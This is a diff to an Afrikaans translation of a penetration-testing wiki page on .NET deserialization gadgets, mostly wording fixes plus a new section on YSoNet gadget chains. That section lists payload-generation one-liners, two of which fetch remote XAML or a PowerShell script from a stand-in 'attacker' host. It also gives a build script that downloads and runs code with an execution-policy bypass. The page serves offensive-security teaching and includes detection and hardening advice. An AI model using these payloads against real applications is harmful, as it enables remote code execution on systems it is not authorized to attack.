diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index f5432adda..9ee946e10 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -7,7 +7,7 @@ Hierdie pos is toegewy aan **die begrip van hoe die gadget ObjectDataProvider ui ## ObjectDataProvider Gadget Volgens die dokumentasie: _die ObjectDataProvider Klas Wrapping en skep 'n objek wat jy kan gebruik as 'n binding bron_.\ -Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om **'n arbitrêre objek te wrap**, gebruik _**MethodParameters**_ om **arbitrêre parameters in te stel,** en dan **gebruik MethodName om 'n arbitrêre funksie** van die arbitrêre objek wat met die arbitrêre parameters verklaar is, aan te roep.\ +Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om **'n arbitrêre objek** te **wrapping**, gebruik _**MethodParameters**_ om **arbitrêre parameters in te stel,** en dan **gebruik MethodName om 'n arbitrêre funksie** van die arbitrêre objek wat met die arbitrêre parameters verklaar is, aan te roep.\ Daarom sal die arbitrêre **objek** 'n **funksie** met **parameters uitvoer terwyl dit gedeserialiseer word.** ### **Hoe is dit moontlik** @@ -18,7 +18,7 @@ Met [**dnSpy**](https://github.com/0xd4d/dnSpy) kan jy die **kode** van die klas ![](<../../images/image (427).png>) -Soos jy kan sien, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen: +Soos jy kan waarneem, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen: ![](<../../images/image (319).png>) @@ -26,7 +26,7 @@ Goed, kom ons gaan voort om te sien wat `this.BeginQuery()` doen. `BeginQuery` w ![](<../../images/image (345).png>) -Let daarop dat aan die einde van die kode `this.QueryWorke(null)` aangeroep word. Kom ons kyk wat dit uitvoer: +Let daarop dat dit aan die einde van die kode `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer: ![](<../../images/image (596).png>) @@ -56,10 +56,10 @@ Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\P ## ExpandedWrapper -Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserializeer gaan word** (byvoorbeeld in die DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserializeer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat ingepak is** in die _ObjectDataProvider_ instansie (`Process` byvoorbeeld). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserialiseer gaan word** (byvoorbeeld in die DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserialiseer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (`Process` byvoorbeeld). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -Hierdie klas laat jou toe om die **objektipe van die objek wat ingekapsel is** in 'n gegewe instansie te **spesifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\ -Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, want ons sal in staat wees om **\_ObjectDataProvider**_** binne 'n **_**ExpandedWrapper** \_ instansie te **wrappen** en **wanneer dit gedeserializeer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**. +Hierdie klas laat toe om die **objektipe van die objek wat ingekapsel is** in 'n gegewe instansie te **specifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\ +Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, want ons sal in staat wees om **_ObjectDataProvider**_** binne 'n **_**ExpandedWrapper** _ instansie te **wrappen** en **wanneer dit gedeserialiseer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**. Jy kan hierdie wrapper met die volgende kode nagaan: ```java @@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -In hierdie kode kan jy **die exploit toets**, hardloop dit net en jy sal sien dat 'n calc uitgevoer word: +In hierdie kode kan jy **die exploit toets**, net dit uitvoer en jy sal sien dat 'n kalkulator uitgevoer word: ```java using System; using System.Text; @@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` +## Gevorderde .NET Gadget Kettings (YSoNet & ysoserial.net) + +Die ObjectDataProvider + ExpandedWrapper tegniek wat hierbo bekendgestel is, is slegs een van baie gadget kettings wat misbruik kan word wanneer 'n toepassing **onveilige .NET deserialisering** uitvoer. Moderne rooi-span gereedskap soos **[YSoNet](https://github.com/irsdl/ysonet)** (en die ouer [ysoserial.net](https://github.com/pwntester/ysoserial.net)) outomatiseer die skepping van **gereed-om-te-gebruik kwaadwillige objek grafieke** vir dosyne gadgets en serialisering formate. + +Hieronder is 'n saamgeperste verwysing van die nuttigste kettings wat saam met *YSoNet* verskaf word, saam met 'n vinnige verduideliking van hoe hulle werk en voorbeeldopdragte om die payloads te genereer. + +| Gadget Ketting | Sleutel Idee / Primitive | Algemene Serializers | YSoNet een-liner | +|----------------|--------------------------|----------------------|------------------| +| **TypeConfuseDelegate** | Korrupt die `DelegateSerializationHolder` rekord sodat, sodra dit gematerialiseer is, die delegate na *enige* aanvaller verskafde metode wys (bv. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | Misbruik `System.Workflow.ComponentModel.ActivitySurrogateSelector` om *te omseil .NET ≥4.8 tipe-filtering* en direk die **konstruktors** van 'n verskafde klas aan te roep of 'n C#-lêer ter plaatse te **kompiler** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | Maak gebruik van die **erfgoed XML** voorstelling van `System.Data.DataSet` om arbitrêre tipes te instansieer deur die `` / `` velde te vul (opsioneel die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | Op WPF-geaktiveerde runtimes (> .NET 5) kettings eienskap getters totdat dit `System.CodeDom.Compiler.CompilerResults` bereik, dan *kompiler* of *laai* 'n DLL wat met `-c` verskaf word | `Json.NET` typeloos, `MessagePack` typeloos | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (hersien) | Gebruik WPF `System.Windows.Data.ObjectDataProvider` om 'n arbitrêre statiese metode met beheerde argumente aan te roep. YSoNet voeg 'n gerieflike `--xamlurl` variasie by om die kwaadwillige XAML op afstand te huisves | `BinaryFormatter`, `Json.NET`, `XAML`, *ens.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | Inbed `ScriptBlock` in `System.Management.Automation.PSObject` wat uitvoer wanneer PowerShell die objek deserialiseer | PowerShell afstandsbediening, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | + +> [!TIP] +> Alle payloads word **standaard na *stdout*** geskryf, wat dit triviaal maak om hulle in ander gereedskap te pipen (bv. ViewState generators, base64 encoders, HTTP clients). + +### Bou / Installeer YSoNet + +As daar geen vooraf-gecompileerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases*, sal die volgende **PowerShell** een-liner 'n bou omgewing opstel, die repository kloon en alles in *Release* modus kompileer: +```powershell +Set-ExecutionPolicy Bypass -Scope Process -Force; +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; +iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')); +choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes; + +git clone https://github.com/irsdl/ysonet +cd ysonet +nuget restore ysonet.sln +msbuild ysonet.sln -p:Configuration=Release +``` +Die saamgestelde `ysonet.exe` kan dan onder `ysonet/bin/Release/` gevind word. + +### Opsporing & Versterking +* **Detecteer** onverwagte kindprosesse van `w3wp.exe`, `PowerShell.exe`, of enige proses wat gebruikersverskafde data deserialiseer (bv. `MessagePack`, `Json.NET`). +* Aktiveer en **handhaaf tipe-filtering** (`TypeFilterLevel` = *Volledig*, pasgemaakte `SurrogateSelector`, `SerializationBinder`, *ens.*) wanneer die ou `BinaryFormatter` / `NetDataContractSerializer` nie verwyder kan word nie. +* Waar moontlik migreer na **`System.Text.Json`** of **`DataContractJsonSerializer`** met witlys-gebaseerde omskakelaars. +* Blokkeer gevaarlike WPF-biblioteke (`PresentationFramework`, `System.Workflow.*`) om in webprosesse gelaai te word wat dit nooit nodig behoort te hê nie. + +## Verwysings +- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) +- [ysoserial.net – oorspronklike PoC-instrument](https://github.com/pwntester/ysoserial.net) +- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) + {{#include ../../banners/hacktricks-training.md}}